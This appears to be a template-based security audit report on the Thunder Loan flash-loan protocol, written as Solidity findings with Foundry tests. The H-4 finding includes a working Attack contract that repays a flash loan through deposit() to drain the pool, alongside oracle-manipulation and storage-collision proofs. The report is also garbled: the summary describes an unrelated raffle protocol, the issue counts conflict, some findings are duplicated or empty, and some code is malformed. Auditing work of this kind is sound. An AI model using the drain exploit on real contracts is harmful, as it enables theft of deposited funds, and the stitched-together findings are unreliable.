



Thunder Loan Initial Audit Report

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Thunder Loan Audit Report

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Thunder Loan Audit Report

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About YOUR_NAME_HERE

Disclaimer

The YOUR_NAME_HERE team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The findings described in this document correspond the following commit hash:

```
1 026da6e73fde0dd0a650d623d0411547e3188909
```

Scope

```
1  |-- interfaces
2  |  |-- IFlashLoanReceiver.sol
3  |  |-- IPoolFactory.sol
4  |  |-- ISwapPool.sol
5  |  |-- IThunderLoan.sol
6  |-- protocol
7  |  |-- AssetToken.sol
8  |  |-- OracleUpgradeable.sol
9  |  |-- ThunderLoan.sol
10 |-- upgradedProtocol
```

11

#-- ThunderLoanUpgraded.sol

Protocol Summary

Puppy Rafle is a protocol dedicated to raffling off puppy NFTs with varying rarities. A portion of entrance fees go to the winner, and a fee is taken by another address decided by the protocol owner.

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

Issues found

Severity	Number of issues found
High	2
Medium	2
Low	3
Info	1
Gas	2
Total	10

Findings

High

[H-1] Mixing up variable location causes storage collisions in ThunderLoan::s_flashLoanFee and ThunderLoan::s_currentlyFlashLoaning

Description: ThunderLoan.sol has two variables in the following order:

```
1    uint256 private s_feePrecision;  
2    uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the expected upgraded contract ThunderLoanUpgraded.sol has them in a different order.

```
1    uint256 private s_flashLoanFee; // 0.3% ETH fee  
2    uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the positions of storage variables when working with upgradeable contracts.

Impact: After upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee. Additionally the `s_currentlyFlashLoaning` mapping will start on the wrong storage slot.

Proof of Code:

Code

Add the following code to the ThunderLoanTest.t.sol file.

```
1 // You'll need to import `ThunderLoanUpgraded` as well  
2 import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/  
    ThunderLoanUpgraded.sol";  
3  
4 function testUpgradeBreaks() public {  
5     uint256 feeBeforeUpgrade = thunderLoan.getFee();  
6     vm.startPrank(thunderLoan.owner());  
7     ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();  
8     thunderLoan.upgradeTo(address(upgraded));  
9     uint256 feeAfterUpgrade = thunderLoan.getFee();  
10  
11     assert(feeBeforeUpgrade != feeAfterUpgrade);  
12 }
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

Recommended Mitigation: Do not switch the positions of the storage variables on upgrade, and leave a blank if you're going to replace a storage variable with a constant. In `ThunderLoanUpgraded.sol`:

```
1 - uint256 private s_flashLoanFee; // 0.3% ETH fee
2 - uint256 public constant FEE_PRECISION = 1e18;
3 + uint256 private s_blank;
4 + uint256 private s_flashLoanFee;
5 + uint256 public constant FEE_PRECISION = 1e18;
```

[H-2] Erroneous ThunderLoan::updateExchangeRate call in the deposit function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate.

Description: In the ThunderLoan system, the `exchangeRate` is responsible for calculating the exchange rate between assetTokens and the underlying tokens. It's responsible for keeping track of how many fees to give to liquidity providers. However, the `deposit` function, updates this rate, without collecting any fees!

```
1 function deposit(IERC20 token, uint256 amount) external
2   revertIfZero(amount) revertIfNotAllowedToken(token) {
3   AssetToken assetToken = s_tokenToAssetToken[token];
4   uint256 exchangeRate = assetToken.getExchangeRate();
5   uint256 mintAmount = (amount * assetToken.
6     EXCHANGE_RATE_PRECISION()) / exchangeRate;
7   emit Deposit(msg.sender, token, amount);
8   assetToken.mint(msg.sender, mintAmount);
9   //audit-high
10  @> uint256 calculatedFee = getCalculatedFee(token, amount);
11  @> assetToken.updateExchangeRate(calculatedFee);
12  token.safeTransferFrom(msg.sender, address(assetToken), amount)
13    ;
14 }
```

Impact: There are several impacts to this bug

1. The `redeem` function is blocked, because the protocol thinks the owed token is more than it has.
2. Rewards are incorrectly calculated to, liquidity providers potentially getting way more or less than deserved.

Proof of Concept:

1. LP1 deposits
2. LP2 deposits

3. Lp2 redeems
4. L1 has more balance than before

Proof of Code

Add the following code to the `ThunderLoanTest.t.sol` file.

```
1  function testRedeemAfterLoan() public setAllowedToken hasDeposits {
2
3      // LP1 deposits
4      address lp1 = address(100);
5      tokenA.mint(lp1, 40* AMOUNT);
6      uint256 lp1BalanceBefore=tokenA.balanceOf(lp1);
7      vm.startPrank(lp1);
8      tokenA.approve(address(thunderLoan), 40* AMOUNT);
9      thunderLoan.deposit(tokenA, 40* AMOUNT);
10     vm.stopPrank();
11     // LP2 deposits
12     address lp2 = address(101);
13     tokenA.mint(lp2, 30* AMOUNT);
14     vm.startPrank(lp2);
15     tokenA.approve(address(thunderLoan), 30* AMOUNT);
16     thunderLoan.deposit(tokenA, 30* AMOUNT);
17     vm.stopPrank();
18     //LP1 redeems
19     vm.startPrank(lp1);
20     uint256 amountToRedeem=type(uint256).max;
21     thunderLoan.redeem(tokenA, amountToRedeem);
22     vm.stopPrank();
23     uint256 lp1BalanceAfter=tokenA.balanceOf(lp1);
24     assertEq(lp1BalanceAfter,lp1BalanceBefore);
25 }
```

Recommended Mitigation: Remove the incorrect lines in the `deposit` function.

```
1  function deposit(IERC20 token, uint256 amount) external
2      revertIfZero(amount) revertIfNotAllowedToken(token) {
3      AssetToken assetToken = s_tokenToAssetToken[token];
4      uint256 exchangeRate = assetToken.getExchangeRate();
5      uint256 mintAmount = (amount * assetToken.
6          EXCHANGE_RATE_PRECISION()) / exchangeRate;
7      emit Deposit(msg.sender, token, amount);
8      assetToken.mint(msg.sender, mintAmount);
9      - uint256 calculatedFee = getCalculatedFee(token, amount);
10     - assetToken.updateExchangeRate(calculatedFee);
11     token.safeTransferFrom(msg.sender, address(assetToken), amount)
12     ;
13 }
```


[H-3] By calling a flashloan and then `ThunderLoan::deposit` instead of `ThunderLoan::repay` users can steal all funds from the protocol

[H-4] `getPriceOfOnePoolTokenInWeth` uses the TSwap price which doesn't account for decimals, also fee precision is 18 decimals

[H-4] All the funds can be stolen if the flash loan is returned using `deposit()`

Description: An attacker can acquire a flash loan & deposit funds directly into the contract using the `deposit()`, enabling stealing all the funds.

The `flashloan()` performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing `endingBalance` with `startingBalance + fee`. However, a vulnerability emerges when calculating `endingBalance` using `token.balanceOf(address(assetToken))`.

Exploiting this vulnerability, an attacker can return the flash loan using the `deposit()` instead of `repay()`. This action allows the attacker to mint `AssetToken` and subsequently redeem it using `redeem()`. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert.

Impact: All the funds of the `AssetToken.sol` Contract can be stolen.

Proof of Concept: To execute the test successfully, please complete the following steps:

1. Place the `attack.sol` file within the mocks folder.
2. Import the contract in `ThunderLoanTest.t.sol`.
3. Change the `setUp()` function in `ThunderLoanTest.t.sol`.
4. Add `testattack()` function in `ThunderLoanTest.t.sol`.

```
1 import { Attack } from "../mocks/attack.sol";
```

```
1 function setUp() public override {
2     super.setUp();
3     vm.prank(user);
4     mockFlashLoanReceiver = new MockFlashLoanReceiver(address(
5         thunderLoan));
6     vm.prank(user);
7     attack = new Attack(address(thunderLoan));
8 }
```

```
1 function testattack() public setAllowedToken hasDeposits {
2     uint256 amountToBorrow = AMOUNT * 10;
3     vm.startPrank(user);
```

```
4         tokenA.mint(address(attack), AMOUNT);
5         thunderLoan.flashloan(address(attack), tokenA, amountToBorrow,
6             "");
7         attack.sendAssetToken(address(thunderLoan.getAssetFromToken(
8             tokenA)));
9         thunderLoan.redeem(tokenA, type(uint256).max);
10        vm.stopPrank();
11
12        assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(
13            tokenA))), DEPOSIT_AMOUNT);
14    }
```

attack.sol

```
1  // SPDX-License-Identifier: MIT
2  pragma solidity 0.8.20;
3
4  import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.
5      sol";
6  import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/
7      SafeERC20.sol";
8  import { IFlashLoanReceiver } from "../src/interfaces/
9      IFlashLoanReceiver.sol";
10
11  interface IThunderLoan {
12      function repay(address token, uint256 amount) external;
13      function deposit(IERC20 token, uint256 amount) external;
14      function getAssetFromToken(IERC20 token) external;
15  }
16
17  contract Attack {
18      error MockFlashLoanReceiver__onlyOwner();
19      error MockFlashLoanReceiver__onlyThunderLoan();
20
21      using SafeERC20 for IERC20;
22
23      address s_owner;
24      address s_thunderLoan;
25
26      uint256 s_balanceDuringFlashLoan;
27      uint256 s_balanceAfterFlashLoan;
28
29      constructor(address thunderLoan) {
30          s_owner = msg.sender;
31          s_thunderLoan = thunderLoan;
32          s_balanceDuringFlashLoan = 0;
33      }
34
35      function executeOperation( address token, uint256 amount, uint256
36          fee, address initiator, bytes calldata ) external returns (bool)
```

```
34     {
35         s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this));
36     }
37     if (initiator != s_owner) {
38         revert MockFlashLoanReceiver__onlyOwner();
39     }
40     if (msg.sender != s_thunderLoan) {
41         revert MockFlashLoanReceiver__onlyThunderLoan();
42     }
43     IERC20(token).approve(s_thunderLoan, amount + fee);
44     IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee);
45     s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this));
46     return true;
47 }
48
49 function getbalanceDuring() external view returns (uint256) {
50     return s_balanceDuringFlashLoan;
51 }
52
53 function getBalanceAfter() external view returns (uint256) {
54     return s_balanceAfterFlashLoan;
55 }
56
57 function sendAssetToken(address assetToken) public {
58
59     IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).
60         balanceOf(address(this)));
61 }
```

Notice that the `assertLt()` checks whether the balance of the AssetToken contract is less than the `DEPOSIT_AMOUNT`, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher.

Recommended Mitigation: Add a check in `deposit()` to make it impossible to use it in the same block of the flash loan. For example registering the block.number in a variable in `flashloan()` and checking it in `deposit()`.

Medium

[M-1] Centralization risk for trusted owners

Impact: Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

Instances (2):

```
1 File: src/protocol/ThunderLoan.sol
2
3 223:     function setAllowedToken(IERC20 token, bool allowed) external
         onlyOwner returns (AssetToken) {
4
5 261:     function _authorizeUpgrade(address newImplementation) internal
         override onlyOwner { }
```

Contralized owners can brick redemptions by disapproving of a specific token

[M-2] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers will drastically reduced fees for providing liquidity.

Proof of Concept:

The following all happens in 1 transaction.

1. User takes a flash loan from `ThunderLoan` for 1000 `tokenA`. They are charged the original fee `fee1`. During the flash loan, they do the following:
 1. User sells 1000 `tokenA`, tanking the price.
 2. Instead of repaying right away, the user takes out another flash loan for another 1000 `tokenA`.
 1. Due to the fact that the way `ThunderLoan` calculates price based on the `TSwapPool` this second flash loan is substantially cheaper.

```
1 function getPriceInWeth(address token) public view returns (
    uint256) {
```

```
2     address swapPoolOfToken = IPoolFactory(s_poolFactory).
      getPool(token);
3   @>     return ITSwapPool(swapPoolOfToken).
      getPriceOfOnePoolTokenInWeth();
4   }
```

3. The user then repays the first flash loan, and then repays the second flash loan.

I have created a proof of code located in my [audit-data](#) folder. It is too large to include here.

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.

[M-4] Fee on transfer, rebase, etc

Low

[L-1] Empty Function Body - Consider commenting why

Instances (1):

```
1 File: src/protocol/ThunderLoan.sol
2
3 261:     function _authorizeUpgrade(address newImplementation) internal
      override onlyOwner { }
```

[L-2] Initializers could be front-run

Initializers could be front-run, allowing an attacker to either set their own values, take ownership of the contract, and in the best case forcing a re-deployment

Instances (6):

```
1 File: src/protocol/OracleUpgradeable.sol
2
3 11:     function __Oracle_init(address poolFactoryAddress) internal
      onlyInitializing { }
```

```
1 File: src/protocol/ThunderLoan.sol
2
3 138:     function initialize(address tswapAddress) external initializer
      {
4
5 138:     function initialize(address tswapAddress) external initializer
      {
6
```

```
7 139:         __Ownable_init();
8
9 140:         __UUPSUpgradeable_init();
10
11 141:         __Oracle_init(tswapAddress);
```

[L-3] Missing critical event emissions

Description: When the `ThunderLoan::s_flashLoanFee` is updated, there is no event emitted.

Recommended Mitigation: Emit an event when the `ThunderLoan::s_flashLoanFee` is updated.

```
1 +     event FlashLoanFeeUpdated(uint256 newFee);
2 .
3 .
4 .
5     function updateFlashLoanFee(uint256 newFee) external onlyOwner {
6         if (newFee > s_feePrecision) {
7             revert ThunderLoan__BadNewFee();
8         }
9         s_flashLoanFee = newFee;
10 +     emit FlashLoanFeeUpdated(newFee);
11 }
```

Informational

[I-1] Poor Test Coverage

```
1 Running tests...
2 | File | % Lines | % Statements
3 | -----|-----|-----
4 | src/protocol/AssetToken.sol | 70.00% (7/10) | 76.92% (10/13)
5 | | 50.00% (1/2) | 66.67% (4/6) |
6 | src/protocol/OracleUpgradeable.sol | 100.00% (6/6) | 100.00% (9/9)
7 | | 100.00% (0/0) | 80.00% (4/5) |
8 | src/protocol/ThunderLoan.sol | 64.52% (40/62) | 68.35% (54/79)
9 | | 37.50% (6/16) | 71.43% (10/14) |
```

[I-2] Not using `__gap` [50] for future storage collision mitigation**[I-3] Different decimals may cause confusion. ie: AssetToken has 18, but asset has 6****[I-4] Doesn't follow <https://eips.ethereum.org/EIPS/eip-3156>**

Recommended Mitigation: Aim to get test coverage up to over 90% for all files.

Gas**[GAS-1] Using bools for storage incurs overhead**

Use `uint256(1)` and `uint256(2)` for true/false to avoid a `Gwarmaccess` (100 gas), and to avoid `Gsset` (20000 gas) when changing from 'false' to 'true', after having been 'true' in the past. See source.

Instances (1):

```
1 File: src/protocol/ThunderLoan.sol
2
3 98:     mapping(IERC20 token => bool currentlyFlashLoaning) private
      s_currentlyFlashLoaning;
```

[GAS-2] Using `private` rather than `public` for constants, saves gas

If needed, the values can be read from the verified contract source code, or if there are multiple values there can be a single getter function that returns a tuple of the values of all currently-public constants. Saves **3406-3606 gas** in deployment gas due to the compiler not having to create non-payable getter functions for deployment calldata, not having to store the bytes of the value outside of where it's used, and not adding another entry to the method ID table

Instances (3):

```
1 File: src/protocol/AssetToken.sol
2
3 25:     uint256 public constant EXCHANGE_RATE_PRECISION = 1e18;
```

```
1 File: src/protocol/ThunderLoan.sol
2
3 95:     uint256 public constant FLASH_LOAN_FEE = 3e15; // 0.3% ETH fee
4
5 96:     uint256 public constant FEE_PRECISION = 1e18;
```

[GAS-3] Unnecessary SLOAD when logging new exchange rate

In `AssetToken::updateExchangeRate`, after writing the `newExchangeRate` to storage, the function reads the value from storage again to log it in the `ExchangeRateUpdated` event.

To avoid the unnecessary SLOAD, you can log the value of `newExchangeRate`.

```
1  s_exchangeRate = newExchangeRate;  
2  - emit ExchangeRateUpdated(s_exchangeRate);  
3  + emit ExchangeRateUpdated(newExchangeRate);
```